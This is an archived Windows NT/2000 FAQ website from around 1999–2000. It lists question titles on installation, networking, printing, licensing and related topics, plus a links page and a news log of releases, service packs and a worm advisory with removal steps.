Subscribe to mailing list

Contents

  • What's New

  • Active Directory
  • Backups
  • Batch Files
  • Compatibility
  • Core
  • DHCP
  • Distributed File System
  • Domains
  • DNS
  • Environment - Command Prompt
  • Environment - Desktop
  • Exchange/Windows Messaging
  • File Systems
  • Group Policy
  • Hardware
  • Installation
  • Internet Explorer 4.0/5.0
  • Internet Information Server
  • License
  • Macintosh
  • Multimedia
  • NetWare
  • Network
  • Performance
  • Printing
  • Problem Solving
  • Proxy Server 2.0
  • RAID
  • RAS
  • Recovery
  • Registry
  • Security
  • Service Packs and Hotfixes
  • SQL Server
  • Support
  • System Configuration
  • System Information
  • System Policy
  • TCP/IP
  • Terminal Server
  • Training
  • User Configuration
  • Utilities
  • Various
  • Windows 2000 (NT 5.0)
  • Windows 95/98 as a client
  • Windows Scripting Host
  • WINS

Real Name enabled

Last Update Monday 22nd March 2000


Windows NT FAQ - Installation

Installation

  • How do I install NT Workstation 4.0?
  • How do I install NT Server?
  • I want to install DOS and Windows NT, how should I do this?
  • Installation hangs when detecting the hardware.
  • Is it possible to install NT without using boot disks or temp files?
  • Does NT have to be installed on the C drive?
  • There is a file \Support\Deptools\<system>\ROLLBACK.EXE. What is it?
  • I have NT installed, how do I install DOS?
  • How do I convert NT Workstation to NT Server?
  • I have bought a new disk, how do I move NT to this new disk?
  • Can I upgrade from Windows95 to NT 4.0?
  • How do I remove NT from a FAT partition?
  • How do I remove NT from a NTFS partition?
  • How do I install the Iomega Parallel Disk Drive?
  • How do I install at tape drive on NT Server?
  • How do I install the NEC 4x4 CD changer?
  • What are symbol files, and do I need them?
  • How do I install NT and Linux?
  • How do I install NT over the network?
  • Is it possible to use Disk Duplication to Distribute Windows NT?
  • How do I perform an unattended installation?
  • Is it possible to specify unique items during an unattended install?
  • How do I automatically install applications as part of the unattended installation?
  • Install detects the wrong video card and locks the installation.
  • How do I upgrade from NT 3.51 to NT 4.0?
  • When I use an unattended installation, how do I avoid the Yes at the license agreement?
  • I have NT installed, how do I install Windows95?
  • How do I remove Windows95/Dos from my NT system?
  • I can't create a NTFS partition over 4GB during installation.
  • I cannot upgrade my 4.0 NT installation with the NT 4.0 upgrade CD.
  • How do I create the NT installation disks?
  • How can I use a Network card that is not one of those shown with Network Client Administrator?
  • How can I make domain users members of local Admin group during an unattended install?
  • I have problems running a program as part of the unattended installation?
  • I have Windows NT installed, how do I install Windows 98?
  • I have Windows 98 installed, how do I install NT?
  • I have Windows NT 5.0 installed but when I try to install Windows NT 4.0 the install fails.
  • I want to install Windows 98 and NT, what file system should I use?
  • How do I manually install SCSI drivers before the autodetect of installation?
  • During installation of Windows NT Server 5.0 the type of server cannot be set. - Windows 2000 only
  • How do I delete the recycle bin as part of an unattended installation.
  • During an unattended installation I am prompted for an IP address if 0 is specified.
  • How do I map a network drive during an unattended installation?
  • How can I install Windows 2000 on a machine with less than 64MB of memory? - Windows 2000 only
  • How do I disable the Installation of Exchange during installation?
  • My evaluation period has expired on my NT installation, why?
  • How do I install on a disk larger than 8GB?
  • How can I stop the installation of My Briefcase during NT installation?
  • How can I control which accessories are installed during an unattended installation?
  • How do I use SmartDrv?
  • How can I upgrade a NFR NT installation to full Retail?
  • How can I stop IE 2.0 being installed as part of installation?
  • How can I remove the Linux LILO Boot Manager?
  • How can I recreate the Windows NT installation disks?
  • I have Windows 98 installed on C: with FAT32, how do I install NT?
  • How can I stop the 'Welcome to Windows NT' screen during setup?
  • I receive an error message "The System is not fully installed", what can I do?
  • How do I add a Network Install tab to Windows NT 4.0?
  • How can I disable the 'Configure Server Wizard' in Windows 2000?
  • How do I install the Remote Installation Service?
  • How do I move the distribution point for Remote Installation Services?
  • How do I create a bootable Remote Installation Service client disk?
  • What operating systems can I clone?
  • How can I configure the Remote Installation Service options?
  • How can I install using the Remote Installation Service disk?
  • How do I create a new Remote Installation Service image?
  • How do I create a bootable Windows 2000 installation CD-ROM?
  • Where is Setup Manager in Windows 2000?
  • What is the Microsoft Installer Package format?
  • How do I create a MSI file from a legacy application?
  • How can I publish an MSI file?
  • How can I run programs during the GUI phase of 2000 installation?
  • How can I use an unattended answer script when installing through a bootable CD-ROM?
  • Underscores (_) in my computer names are changing to dashes (-) in Windows 2000.
  • How to setup NT Server 4.0 on greater then 4gig Hard Drive without Partition Magic or Atapi.sys.
  • How can I specify an alternate HAL during Windows 2000 installation?
  • Getting a Thinkpad OEM installed version of NT to occupy only one partition.
  • How can I test if my installation can be upgraded to Windows 2000?
  • What switches are available for Windows 2000 installation?
  • How do I install Windows 2000?
  • How do I deploy old applications in Windows 2000 via ZAP files?
  • What are the upgrade paths for Windows 2000?
  • Some BackOffice 4.5 components do not install on Windows 2000.
  • I'm unable to upgrade Windows 9x to Windows 2000 in a dual boot environment.
  • How can I configure extra Plug and Play drivers for a Windows 2000 installation?
  • Unsigned drivers are stopping my unattended installations.
  • What are the directories I can have under $OEM$ for an unattended installation in Windows 2000?
  • DontDisplayLastUserName setting is lost in upgrade from NT 4.0 to Windows 2000.
  • How do I enable ACPI on my machine/change the HAL?
  • How do I disable/enable ACPI on my machine during installation?
  • The Administrator password I set during unattended installation is ignored.

This FAQ is copyright © 1999 John Savill (SavillTech Ltd). No part of this document should be reproduced, distributed or altered without my written permission. Contact Information.


Windows NT FAQ - License

License

  • How is NT Licensed?
  • How can I view what licenses I have installed/used?
  • How do I install extra licenses?
  • How do I convert from Per Server to Per Seat?
  • How can I reset the License Information?
  • How can I run the License Manager software on a NT Workstation?

This FAQ is copyright © 1999 John Savill (SavillTech Ltd). No part of this document should be reproduced, distributed or altered without my written permission. Contact Information.


Windows NT FAQ Links

Links

French NT FAQ A French translation of the NT FAQ
http://www.ntfaqfr.com/
A Chinese translation of the NT FAQ
http://www.ntfaq.com.cn
NETWORKING TECHNOLOGIES RESOURCE CENTER
http://www.ntrc.net
Datent Resource Database
http://www.datent.com/resourcedb
NT Security Site
http://www.ntsecurity.net
Mad Hack Trish's Escape from Hardware Hell (great collection of links)
http://www.jps.net/rustyw2/
NT Game Palace
http://www.ntgamepalace.iscool.net

Hardware and Software Vendor Links
Excellent links to all hardware/software vendors
http://www.zet-net.com/hw-supp.htm
http://www.zet-net.com/sw-supp.htm
General NT information site
http://www.i386.com
Code Guru Excellent MFC related site
http://www.codeguru.com
System Internals Amazing Collection of NT Utilities along with good information
http://www.sysinternals.com
MCSE starting point
http://www.mcsetutor.com
bhs.gif (3432 bytes) Good collection of Windows NT Shareware
http://www.bhs.com
MVP Homepage for the Microsoft MVP's
http://www.mvps.org/
Registry Information about the Windows 9x and NT Registry.
http://www.regedit.com/
Nice little Windows 98 site
http://www.kirupa.com
ntsystems.gif (7086 bytes) Another Good Windows NT Magazine
http://www.ntsystems.com

Proxy FAQ

 Good Proxy page
http://proxyfaq.networkgods.com/default.htm
Some neat performance ideas
http://www.pureperformance.com

If you want to link to this site please use this image: ntfaq_linkto.gif (2323 bytes)


Windows NT FAQ - Macintosh

Macintosh

  • How do I add the services for Macintosh?
  • How can I read a Macintosh disk from Windows NT?
  • Does NT RAS support AppleTalk?
  • Can NT act as an AppleTalk client?
  • How can I make a Macintosh PPP connection to Windows NT RAS?
  • I am unable to write to the Microsoft UAM folder from the Macintosh?
  • Is there an Outlook (Exchange Server) client for Macintosh?
  • What configuration is needed for Mac's to work with Proxy Server 2.0?
  • I am unable to connect to the server using the Mac Outlook client, why?
  • My Mac hangs if I connect to an NT share and don't have full permissions for the directory root.
  • Large file copies to/from Macintosh crash NT Server, what can I do?

This FAQ is copyright © 1999 John Savill (SavillTech Ltd). No part of this document should be reproduced, distributed or altered without my written permission. Contact Information.


Windows NT Mailing List Archive

Mailing List Archive

You can receive these updates every week by subscribing to the NT FAQ mailing list. This list is not given to any other companies and you will receive no other junk mail.

Subscribe to mailing list

April 2000

  • 3rd April 2000

March 2000

  • 27 March 2000
  • 16 March 2000
  • 6 March 2000

February 2000

  • 21 February 2000
  • 15 February 2000
  • 9 February 2000
  • 1 February 2000

January 2000

  • 26 January 2000
  • 19 January 2000
  • 10 January 2000

December 1999

  • 13 December 1999
  • 7 December 1999

November 1999

  • 30 November 1999
  • 22 November 1999
  • 17 November 1999
  • 8 November 1999
  • 2 November 1999

October 1999

  • 25 October 1999
  • 20 October 1999
  • 11 October 1999
  • 4 October 1999

September 1999

  • 27 September 1999
  • 20 September 1999
  • 13 September 1999
  • 6 September 1999
  • 2 September 1999

August 1999

  • 3rd August 1999
  • 9th August 1999

July 1999

  • 5th July 1999
  • 15th July 1999
  • 22nd July 1999

June 1999

  • 2nd June 1999
  • 9th June 1999
  • 15th June 1999
  • 28th June 1999

May 1999

  • 26th May 1999
  • 19th May 1999
  • 11th May 1999
  • 5th May 1999

April 1999

  • 28th April 1999
  • 19th April 1999
  • 12th April 1999
  • 8th April 1999

March 1999

  • 29th March 1999

This FAQ is copyright © 1999 SavillTech Ltd. ALL RIGHTS RESERVED


Windows NT FAQ - Multi-media

MultiMedia

  • How do I disable CD AutoPlay?
  • How do I install a Joystick in NT?
  • How do I change my Soundcards Settings (IRQ)?
  • Does NT 4.0 support Direct X?
  • Does NT have a speaker driver?
  • How do I install my SoundBlaster Sound Card?
  • How do I install a WaveBlaster card?
  • I have lost the speaker icon from my task bar.
  • How can I get my PCI based sound card to work under Windows 2000?
  • How can I check my machines DirectX support?

This FAQ is copyright © 1999 John Savill (SavillTech Ltd). No part of this document should be reproduced, distributed or altered without my written permission. Contact Information.


Windows NT FAQ - NetWare

NetWare

  • What about Netware?
  • What are Client Services for Netware?
  • What are Gateway Services for Netware?
  • How do I install Gateway Services for Netware?
  • How do I attach to a NetWare 3.12 Server?
  • How do I attach to a NetWare 4.1 Server?
  • What are File and Print Services for Netware?
  • What is Directory Service Manager?
  • What is Migration Tool for Netware?
  • What are the NT equivalents of NetWare Rights?
  • NWCONVE.EXE is not migrating your users and groups.
  • I have very slow performance saving documents to a FPNW server.
  • How can I disable the print separator page when printing to a NetWare print server?
  • How can I stop my machine complaining about NWLNKRIP service not starting?
  • NetWare migration tool cannot find the domain controller.
  • How can I assign NetWare variables to NT variables?
  • I get print banners and confirmations through CSNW even though they are deselected, what can I do?

This FAQ is copyright © 1999 John Savill (SavillTech Ltd). No part of this document should be reproduced, distributed or altered without my written permission. Contact Information.


Windows NT FAQ - Networks

Network

  • How do I assign User Rights for a standalone server (not the PDC/BDC) in a domain?
  • I can't FTP to my server, although the FTP service is running?
  • How do I validate my NT Logon against a UNIX account?
  • Can I synchronize the time of a NT Workstation with a NT Server?
  • How can I send a message to all users?
  • How do I change a Workstations Name?
  • How do I stop the default admin shares from being created?
  • How do I disconnect all network drives?
  • How do I hide a machine from Network Browsers?
  • How do I remote Boot NT?
  • How can I get a list of users currently logged on?
  • How do I configure NT to be a gateway to an ISP?
  • How do I install the FTP server service?
  • How do I get a list of all connections to my PC?
  • How can I get the Ethernet address of my Network card?
  • How can I configure the preferred Master Browser?
  • Is it possible to protect against Telnet attacks?
  • What Telnet Servers/Daemons are available for Windows NT?
  • How do I install MSN under NT?
  • What FireWall products are available for NT?
  • How do I install the Remoteboot Service?
  • How many connections can NT have?
  • How can I secure a server that will be a Web Server on the Internet?
  • How can I stop a user logging on more than once?
  • How can I get information about my domain account?
  • A machine is shown as Inactive in Server manager when it is not.
  • How do I automatically FTP using NT?
  • How can I change the time period used for displaying the password expiration message?
  • How can I modify share permissions from the command line?
  • How can I change the protocol binding order?
  • What criteria are used to decide which machine will be the Master Browser?
  • How can I get a list of MAC to IP addresses on the network?
  • How can I control the list of connections shown when mapping a network drive?
  • How do I grant users access to a network printer?
  • How can I create a share on another machine over the network?
  • I get errors accessing a Windows NT FTP Server from a non Internet Explorer browser.
  • How can I view which machines are acting as browse masters?
  • Is there any way to improve the performance of my modem internet connection?
  • How can I remotely tell who is logged on at a machine?
  • How do I remove a NT computer from a domain?
  • How can I shutdown a number of machines without going to each machine?
  • How can I close all network sessions/connections?
  • How can I connect to a server using different user accounts?
  • How do I set the comment for my machine that is displayed in Network Neighborhood?
  • How can I define multiple NetBIOS names for a machine?
  • How can I manage my NT domain over the net?
  • How can I remotely manage services?
  • Net.exe reference.
  • How can I make net.exe use the next available drive letter?
  • How can I check if servers can communicate via RPC's?
  • How can I reduce the delay when using multiple redirectors?
  • How can a DOS machine connect to an NT domain?
  • Where are Windows 2000 network connections stored in the registry?
  • How do I install the loopback adapter in Windows 2000?
  • How can I turn off/on connection ghosting?
  • How can I map to an FTP server as a drive?
  • How can I create a browse election log file?
  • How do I enable the telnet server in Windows 2000?
  • How do I enable plain text passwords with the telnet server in Windows 2000?
  • What is REXEC?
  • What REXEC daemons (REXECD) are available for NT/2000?
  • How do I add a network place in Windows 2000?
  • What are the NetBIOS suffixes (16th character)?
  • How can I stop UNC shares automatically being added to My Network Places?
  • Where do I get netdiag.exe and what is it?

This FAQ is copyright © 1999 John Savill (SavillTech Ltd). No part of this document should be reproduced, distributed or altered without my written permission. Contact Information.


Windows NT FAQ News

News

This area will provide information on the latest developments with Windows NT and new products available for the platform

16 March 2000

Over 1 million units of Windows 2000 acquired by customers worldwide Channel and customers are enthusiastic about the superior quality of Windows 2000; Support calls remain low

Microsoft today announced it estimates that customers have obtained more than 1 million copies of the Microsoft(r) Windows(r) 2000 Professional, Server and Advanced Server operating systems since the worldwide launch less than one month ago. This milestone includes estimates from channel resellers, retail outlets and PC manufacturers; Microsoft has yet to count its largest customers around the world that have acquired licenses through enterprise agreements. In addition, Microsoft Customer Support is receiving the lowest volume of calls per unit licensed of any previous Microsoft operating system, indicating that customers are having an extremely positive experience upgrading to Windows 2000.

"We are thrilled with the tremendous customer response to the Windows 2000 platform," said Steve Ballmer, CEO and president of Microsoft. "Reaching 1 million units so quickly is testimony to the high quality and reliability of Windows 2000. This is a product that was built from the ground up with the help and support of customers and industry partners. It's great to see them thoroughly evaluating the platform in their environments and deploying it throughout their organizations today."

3rd March 2000

In a Windows 2000 Magazine list of the top 10 Windows NT/2000 support sites NT FAQ came second (beaten by Microsoft TechNet) :-)

17th February 2000

The day we have all been waiting for, Windows 2000 is released!

2nd February 2000

IntelliType 1.1 released which runs on Windows 2000. http://www.microsoft.com/products/hardware/keyboard/download/pc/download_PC.htm

31st January 2000

IntelliPoint 3.1 release which runs on Windows 2000. http://www.microsoft.com/products/hardware/mouse/driver/drivers_pc.htm

23rd January 2000

Microsoft today announced that the Windows(r) 2000 operating system will be the first platform with 128-bit encryption to be shipped internationally
under the federal regulations on encryption exports announced Jan. 14, 2000.

Microsoft worked closely with U.S. government regulators to obtain the necessary approvals to ship Windows 2000 with strong encryption to worldwide
customers, irrespective of industry or application.

Previously, international customers with increased security needs had to buy additional software and add on strong encryption. International customers will now be able to benefit from built-in 128-bit encryption in Microsoft(r) Windows 2000 when it ships. This eliminates delays and restrictions associated with individual export licenses.

"Windows 2000 will be the most secure operating system Microsoft has ever shipped, and we are excited to be able to further extend this security for our UK customers via 128-bit encryption," said Nick McGrath, Windows 2000 Product Manager at Microsoft.

14th January 2000

Microsoft today announced that IBM Corp. has joined Adobe Inc., Cisco Systems Inc., Commerce One Inc., Compaq Computer Corp., Dell Computer Corp.,
Hewlett-Packard Co., i2 Technologies Inc., Intel Corp., SAP AG, Toshiba Corp. and Unisys Corp. as a Microsoft(r) Windows(r) 2000 Global Launch Partner.

These industry leaders are showcasing significant investment in the Microsoft Windows 2000 operating system through solutions, services and support.

"Today's announcement is one more validation of IBM's commitment to the Windows 2000 platform and the enterprise expertise it offers customers," said Deborah Willingham, vice president of marketing for Windows at Microsoft. "Through the development efforts at the IBM Centre for Microsoft Technologies, its work with beta customers of Windows 2000, and its own early adoption of Windows 2000, IBM has developed hardware technologies, services and deployment experience that will be critical to the success of customer deployments. We applaud IBM's efforts and are excited about its becoming a Windows 2000 Global Launch Partner."

1st January 2000

I've finally added the Wedding Pictures at http://www.ntfaq.com/Wedding/Wedding.htm

15th December 1999

Build 2195 of Windows 2000 goes gold and will be the RTM (released-to-manufacturing) version, woo hoo! Its available to download for core beta testers but has a 120 day expiry. Also core beta testers will be receiving a boxed version of Windows 2000 Professional which is nice and can update the 120 day expiry version.

9th December 1999

Build 2194 of Windows 2000 released to core beta testers.

1st December 1999

After the initial confusion SP6a is now available from http://www.microsoft.com/ntserver/nts/downloads/recommended/SP6/. A fix is also available which upgrades SP6 to SP6a from http://download.microsoft.com/download/winntsp/Patch/6.0a/NT4/EN-US/Q246009i.EXE.

25th November 1999

Service Pack 6a released, http://www.microsoft.com/ntserver/nts/downloads/recommended/sp6/. A number of fixes to the original SP6 have been made.

22nd November 1999

My book got a great review in January issue of PC Pro magazine, thanks Jon Honeyball! ;-)

20th November 1999

New Products: Access NTFS from Windows 95/98 and MS-DOS

NTFSDOS Professional Edition, the newest addition to the NTFSDOS product family, introduces full read/write access to NTFS drives from within MSDOS. With NTFSDOS Professional, you can run MS-DOS programs and commands on NTFS drives just as you do on regular FAT drives. NTFSDOS Professional also functions as a recovery tool for unbootable NT installations by allowing you to delete problematic drivers, edit configuration files such as BOOT.INI, or replace corrupted or missing system files. The software runs on DOS, but uses the actual file system drivers that are part of the Windows NT 4.0 or Windows 2000 installation, ensuring that compatibility problems are non-existent. A read-only version is available at http://www.sysinternals.com/ntfspro.htm and the read/write version costs $149.

NTFS for Win98 introduces full read/write access to NTFS drives from within Windows 95/98. If you use one of the growing number of dual-boot systems, this product allows you to easily share data between Windows 9x/NT/2000. NTFS for Win98 also eases the migration to Windows 2000. It takes a unique approach by allowing the operating system to use the NTFS drivers from your existing WindowsNT/2000 installation, providing complete NTFS compatibility. A read-only version is available at http://www.sysinternals.com/ntfs98.htm and the read/write version costs $49.

18th November 1999

Windows 2000 build 2183, Release Candidate 3 released.

10th November 1999

Windows 2000 build 2176 should be released today. This is NOT RC3 though but will be close.

28th October 1999

Windows 2000 should be released February 17th 2000 on shop shelves and should be released to manufacturing end of 1999. See http://www.microsoft.com/presspass/press/1999/Oct99/LaunchdtPR.htm for more information.

27th October 1999

Service Pack 6 released. Download from http://download.microsoft.com/download/winntsp/SP/6.0/NT4/EN-US/SP6I386.exe. Also see http://www.microsoft.com/ntserver/nts/downloads/recommended/PREM_SP6/allSP6.asp.

22nd October 1999

Build 2151 of Windows 2000 released to core beta testers. This is NOT RC3.

6th October 1999

Exchange Server 2000 beta 3 available for download. Click here

30th September 1999

MMC 1.2 for NT 4.0 and IE 5.0 can be downloaded from http://www.microsoft.com/management/mmc/download.htm. Fixes a couple of problems including a screen flicker issue.

28th September 1999

Microsoft have announced the retirement of the NT 4.0 example, 4.0 Server, 4.0 Server in the Enterprise and 4.0 Workstation. Don't panic you have until 30 December 2001 to take the 2000 track exams and keep your MCSE. See http://www.microsoft.com/mcp/examinfo/retired.htm for more information.

The new Windows 2000 track can be seen at http://www.microsoft.com/mcp/certstep/mcse.htm#w2k and see http://www.microsoft.com/mcp/ for general MCSE/MCP information.

16th September 1999

Release Candidate 2 (build 2128) of Windows 2000 released.

3rd September 1999

New build 2114 of Windows 2000 available to core beta testers for Server and Professional. Its not RC2, only an Interim build.

2nd September 1999

New version of Service Pack 6 beta released to core testers. Looks good.

1st September 1999

Compaq have announced that it was laying off more than 100 of its Alpha/NT employees in its DECwest facility located near the Microsoft campus. This group of developers was tasked with making Alpha on NT a technical reality.

Citing Compaq's decision and the strength of Intel's architecture and systems, Microsoft says it will discontinue development of future 32-bit and 64-bit Alpha products across its existing product line.

Originally Digital and Microsoft had an agreement for Alpha support for NT and the back office but not for the development products which has been part of the problem. When Compaq bought Digital the chance of Alpha support disappearing was always a possibility.

See http://www.microsoft.com/ntserver/nts/news/msnw/compaq.asp for more details.

Build 2099 of Windows 2000 Professional released to core Windows 2000 beta testers

Release Candidate 2 of Windows 2000 is now slated for September 15th.

9th August 1999

I get married this Saturday and will be off to Disney World Florida for my honeymoon so there won't be any mailings for the next two weeks starting Friday (or updates to the FAQ as my new wife would likely kill me) :-)

When I get back I'll put in extra work to catch up ;-)

A new weekly newsletter I'm writing for PC World is now out. Its in-depth articles about various subjects on Windows NT and Windows 2000. You have to pay an annual fee but its not to much. Take a look, first ones free anyway, http://www.tipworld.com/premium/s_o/.

A new Chinese translation of the FAQ is starting at http://www.ntfaq.com.cn. If you speak Chinese it may help.

25th July 1999

MICROSOFT TO SELL AD SPACE IN ERROR MESSAGES

Microsoft (Nasdaq: MSFT) announced that it is selling advertising space in the error messages that appear in Windows. Acknowledging for the first time that the average user of their operating system encounters error messages at least several times a day, Microsoft is trying to take financial advantage of the unavoidable opportunity to make an ad impression.

"We estimate that throughout the world at any given moment several million people are getting a ‘General Protection Fault’ or ‘Illegal Operation’ warning. We will be able to generate significant revenue by including a short advertising message along with it," said Microsoft marketing director Nathan Mirror. He also mentioned that Microsoft is intended to add banner ads into its Blue Screen of Death in the near future.

The Justice Department immediately indicated that they intend to investigate whether Microsoft is gaining an unfair advantage in reaching the public with this advertising by virtue of its semi-monopolistic control over error messages.;-)

24th July 1999

Norton Speed Disk 5.0 in beta. http://www.symantec.com/sdnt/sdntbeta.html. 100 free copies available.

Norton Antivirus 2000 beta available, http://www.symantec.com/promos/bb13.html.

21st July 1999

Service Pack 6 released to certain beta testers (including me :-) ).

8th July 1999

Windows NT FAQ voted site of the week by the editors of the Development Exchange (www.devx.com) and is currently featured in the Enterprise zone http://www.enterprise-zone.com/free/site.asp. The Web Guide database also features a permanent link to the FAQ site as a key resource for their readers http://www.devx.com/free/links/siteview.asp?content_id=1160.

The Development Exchange is the premier online technical source of information for development professionals, serving over 700,000 programming professionals each month.

2nd July 1999

Windows 2000 Release Candidate 1 build 2072 release to beta testers.

14th June 1999

Windows 98 Second Edition released, see http://www.microsoft.com/windows98/

10th June 1999

NEW VIRUS, very damaging.

A new virus with the following text in as the body:

"I received your email and I shall send you a reply ASAP.
Till then, take a look at the attached zipped docs."

The subject line is not constant as the message is a reply. The worm (named "zipped_files.exe") is attached, with a file size of 210,432 bytes. The file has a Winzip icon which is designed to fool unsuspecting users to run it as a self-extracting file. User who run this attachment will be presented with a fake error message that says

"Cannot open file: it does not appear to be a valid archive. If this file is part of a ZIP format backup set, insert the last disk of the backup set and try again. Please press F1 for help."

The virus then searches for the following files and replaces them with 0 block files:
.c
.cpp
.h
.asm
.doc
.xls
.ppt

Check you anti-virus software sites for a fix, http://www.nai.com has one. To manually repair:

  1. Remove the line run=C:\WINDOWS\SYSTEM\Explore.exe from the WIN.INI file

  2. Edit the registry (using regedit.exe or regedt32.exe) and check the value HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows\run does not call explore.exe. If it does clear the value.

  3. Delete the file "C:\WINDOWS\SYSTEM\EXPLORE.EXE". You may need to reboot first,
    if the file is currently in use (or stop the process using task manager).

1st June 1999

Microsoft in 1978, who's the guy bottom left? ;-)

20th May 1999

Windows NT FAQ moved to NT based hosting at Data Return. Bandwidth increased by several magnitudes giving faster, more reliable service to the FAQ's patrons.

17th May 1999

Executive Software release Emergency Undelete, http://www.execsoft.com for local file undelete on FAT and NTFS.

6th May 1999

Windows NT FAQ awarded Website of the month by NT Explorer magazine (http://www.ntexplorer.com). I'm sure the fact that I write for them had nothing to do with it :-)

NT FAQ listed as THE FAQ to use in the "Windows NT Server 4 for Dummies" guide (page 143 and 163).

5th May 1999

Service Pack 5 is released. Download from http://www.microsoft.com/ntserver/nts/downloads/recommended/sp5/

30th April 1999

Windows 2000 Beta 3, build 2031 is released to beta testers. Does not look much different from the release candidate I've been testing. See the MS press release at http://www.microsoft.com/presspass/press/1999/Apr99/2kb3pr.htm.

28th April 1999

Get the Office 2000 Resource kit from http://www.microsoft.com/office/ORK

27th April 1999

Service Pack 5 Release Candidate released to a small group of testers.

18th April 1999

Beta 3 of Windows 2000 is due to ship on April 26 - a week later than the date previously given. Microsoft is expected to make a special 'momentum announcement' to mark the occasion. The beta will be released to OEMs, who will make the beta available with some new PCs. Businesses using the beta will be eligible for a free copy of the release version when it becomes available in October. Microsoft is also expected to announce a Corporate Partnership Program similar to the one that has been running for Office 2000.

8th April 1999

Microsoft release a tool to help identify and eliminate virus infected messages in Exchange. Click here for more details.

7th April 1999

Microsoft will release a major follow-on to Windows 98 sometime in 2000 that will be based on the old Windows 9x kernel, not the Windows NT kernel used in Windows 2000. This is a change from the previous plans for the next 98 version.

Cover The book version of the FAQ can now be reserved on Amazon.com

2nd April 1999

Service Pack 4 for Windows NT Terminal Server Edition released. See http://www.microsoft.com/ntserver/terminalserver/exec/EOMAP/NT4SP4.asp

22nd March 1999

Internet Explorer 5.0 released

Service Pack 5 beta for Windows NT 4.0 released to a small group of testers

Windows 2000 build 2000 beta 3 RC 1 released to a small group of testers

11th March 1999

An updated version of the Jet was posted today for Exchange 5.5 SP2. The fix is located at: ftp://ftp.microsoft.com/bussys/exchange/exchange-public/fixes/Eng/Exchg5.5/PostSP2/ESE-fix/

10th March 1999

Service Pack 5 beta released to small group of testers, looks good.

9th February 1999

New hot fix released, Msv-fixi.exe from ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/NT40/hotfixes-postSP4/Msv1-fix/ .

A problem occurs in Windows NT 4.0 Service Pack 4 when a user has changed the password for his or her Windows NT domain account from a LanManager client (such as a Windows for Workgroups or the Macintosh desktop). After the user's password is changed from the LanManager client, that account may be used to log on interactively and to make network connections from other systems using a blank password.

25th January 1999

Two office fixes available:

  • http://officeupdate.microsoft.com/downloadDetails/fm2paste.htm
  • http://officeupdate.microsoft.com/downloaddetails/wd97sp.htm

The first fixes a vulnerability that occurs when the Forms 2.0 Control (fm20*.dll) is installed and a hacker can manipulate the local clipboard. The second addresses a vulnerability that allows malicious code to be run without warning when a user opens a Word 97 document.

18th January 1999

Silicon Graphics announce its NT workstation, see http://visual.sgi.com/ for more information.

7th January 1999

A new hotfix for Service Pack 5, Windows NT 3.51 has been released with support for the Euro

ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/bra/nt351/hotfixes-postSP5/euro-fix

6th January 1999

A new post Service Pack 3 hotfix has been released at:

ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/NT40TSE/hotfixes-postSP3/Y2k-fix/Y2kfixi.exe

The Alpha version should be ready soon.


Windows NT FAQ - Windows 2000 (NT 5.0)

Windows 2000 (NT 5.0)

The entire Windows NT/2000 FAQ contains lots of Windows 2000 and Active Directory information so check at www.ntfaq.com however these entries are just general Windows 2000 information.

  • What is new in Windows 2000
  • Where can I get more information on Windows 2000?
  • How do I get the Microsoft Windows 2000 Beta?
  • What is Windows 2000?
  • Getting the most out of NT 5.0 beta 2.
  • What hardware is needed to run Windows 2000?
  • Where is the Hardware Compatibility List for Windows 2000?
  • When does Windows 2000 need rebooting?
  • When will Windows 2000 be released?
  • Is build 2195 the final version of Windows 2000?
  • Where do I get updates for Windows 2000?

This FAQ is copyright © 1999 John Savill (SavillTech Ltd). No part of this document should be reproduced, distributed or altered without my written permission. Contact Information.


Windows NT FAQ - Performance

Performance

  • How do I move my pagefile?
  • How big and where should my Pagefile be?
  • Users complain server response is slow, but when I use the server everything is fine.
  • Is there a RAM disk in NT4.0?
  • How can I monitor disk performance?
  • How can I tell if I need a faster CPU?
  • I need to run a number of 16 bit apps, what is the best way to do this?
  • How can I run an Application at a higher priority?
  • How can I monitor processes that start after I start the Performance monitor?
  • How can I view information in the Event Log from the command line?
  • Is there anything to help diagnose performance problems?
  • Is there anyway to output performance logs directly to a comma separated file?
  • How can I control the amount of memory NT uses for file caching?
  • How can I stop Windows NT System Code and Drivers being paged?
  • How can I change the size of the pagefile?
  • How can I remotely change the size of a pagefile?
  • Performance Monitor is not listing all possible objects and counters.
  • How do I enable disk counters in Performance Monitor in Windows 2000?

This FAQ is copyright © 1999 John Savill (SavillTech Ltd). No part of this document should be reproduced, distributed or altered without my written permission. Contact Information.


Windows NT FAQ - Printing

Printing

  • How do I create a queue to a Network Printer?
  • How do I delete a network port (e.g. LPT3:)?
  • How do I configure my print jobs to wait until out of hours?
  • How can I disable the Printer PopUp message?
  • How do I change the Print Spool location?
  • How do I enable Print Auditing?
  • How do I enable drag and drop printing?
  • How do I configure a Print Separator Page?
  • How can I restrict which users can install local printer drivers?
  • How many printers can be on one NT Server?
  • How can I print to an ascii text file?
  • How do I set security on a printer?
  • I get the error "The print processor is unknown" when installing a printer.
  • Where in the registry is the default printer set?
  • When I try to print to a parallel device I receive error: System could not find the file.
  • How can I allow members of the Printer Operators group to Add Printers?
  • How can I configure NT as a print server for UNIX systems?
  • How can I audit the no. of pages printed by any particular user on an NT network?
  • How do I create a custom page size for a printer?
  • The additional NetBIOS name of my server does not work for print services.
  • How can I stop print jobs writing to the System Log?
  • How do I create a queue to a Network Printer in Windows 2000?
  • How can I view print jobs from the command line?
  • How can I delete a print job from the command line?
  • How can I add a printer to the send to context option?
  • Sharing printers between Unix and NT.
  • How can I set the default printer from the command prompt?
  • How can I maintain printer information for my domain?
  • What are the printer improvements in SP6 for NT 4.0?
  • How can I add a printer from the command line?
  • How can a printer be listed in the Active Directory?
  • How can I print from the command window/use lpt1 etc?
  • How can I check/replace incompatible Windows 2000 printer drivers?
  • How can I administer printers via the web?

This FAQ is copyright © 1999 John Savill (SavillTech Ltd). No part of this document should be reproduced, distributed or altered without my written permission. Contact Information.


Windows NT FAQ - Problem Solving

Problem Solving

  • I have installed Office 97 now I can no longer use Desktop Themes.
  • I cannot delete a file called AUX.BAT or COM1!
  • The AT command does not work!
  • I can't format a disk/ create an Emergency Repair disk?
  • When I change CD's/access the floppy drive NT crashes.
  • After a new installation of NT, I can logon but no shell starts.
  • I have a Matrox Millenium graphics card and the windows blink and flash when moved.
  • When I start NT I get NTDETECT twice.
  • My desktop disappears after a crash.
